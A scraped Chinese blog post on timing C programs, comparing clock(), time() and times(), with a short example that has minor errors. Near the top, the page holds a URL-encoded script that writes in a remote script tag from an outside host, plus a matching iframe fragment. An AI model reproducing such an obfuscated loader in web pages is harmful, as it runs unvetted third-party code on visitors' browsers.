如何准确的统计自己程序的运行时间

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
如何准确的统计自己程序的运行时间


能删除自己写的文章呢???
由于网络问题,重发了,我晕










 | 
下一篇: 如何准确的统计自己程序的运行时间

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 如何准确的统计自己程序的运行时间



如何准确的统计自己程序的运行时间?也许你马上会回答使用C语言集中的clock()函数。不过如果你的程序可能要运行很久,clock()还行吗?答案是否定的。因为clock()内部使用的是clock_t (long类型),在Windows下它所能表示的时间是大约三万五千分钟,不过在unix下最多只能计时35分钟。查看了一下boost提供的timer代码,里面也有这个限制,:(。
大家知道clock()计算的是cpu使用时间,而time()计算的是wall clock time。理论上使用clock要比time要更加准确,特别是有多个进程在多线程调度下。不过在需要对运行超长时间的程序来说,time()看来是比较有效的方法了。
#include <sys/times.h>
#include <unistd.h>
double getRunTime(){ 
 struct tms current; 
 times(&current);   
 double norm = (double)sysconf(_SC_CLK_TCK); 
 return(((double)current.tms_utime)/norm);
}
int main(){ 
 double startTime = getRunTime();       
 /* do some job here */ 
 double endTime = getRunTime(); 
 
 printf("CPU Time = %f second/n", (endTime - startTime) ); 
 return 0;
}
大家有什么建议吗?

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值